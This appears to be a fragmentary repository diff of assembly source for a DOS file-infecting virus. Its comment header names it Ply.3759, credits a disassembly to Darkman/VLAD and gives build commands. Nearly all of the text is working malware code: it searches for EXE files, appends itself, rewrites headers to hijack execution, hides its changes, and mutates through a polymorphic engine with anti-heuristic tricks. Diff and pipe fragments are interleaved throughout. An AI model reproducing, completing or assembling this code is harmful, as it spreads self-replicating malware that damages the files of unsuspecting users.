||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4e00h+2020h) ; Find first matching file
|
||||
sub ax,2020h
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov bx,dx ; BX = offset of file_specifi
|
||||
nop
|
||||
mov al,'E'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov al,'V'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,('ZM'+2020h) ; EXE signature
|
||||
sub ax,2020h
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ax,(4f00h+2020h) ; Find next matching file
|
||||
sub ax,2020h
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(3d02h+2020h) ; Open file (read/write)
|
||||
sub ax,2020h
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+100h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(5701h-2020h) ; Set file's date and time
|
||||
add ax,2020h
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ax,bx ; AX = " " " " " "
|
||||
nop
|
||||
add ax,10h ; AX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],ax ; Add segment of beginning of code...
|
||||
add ax,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,ax ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
|
||||
db 00h
|
||||
file_specifi db '*.VXE',00h ; File specification
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
|
@ -0,0 +1,924 @@
|
|||
comment *
|
||||
Ply.3759
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3759 is a 3759 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3759 has an error handler, anti-heuristic techniques and
|
||||
is polymorphic in file using its internal polymorphic engine.
|
||||
|
||||
To compile Ply.3759 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3759.ASM
|
||||
TLINK /t /x PLY_3759.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3759
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,poly_begin ; SI = offset of poly_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
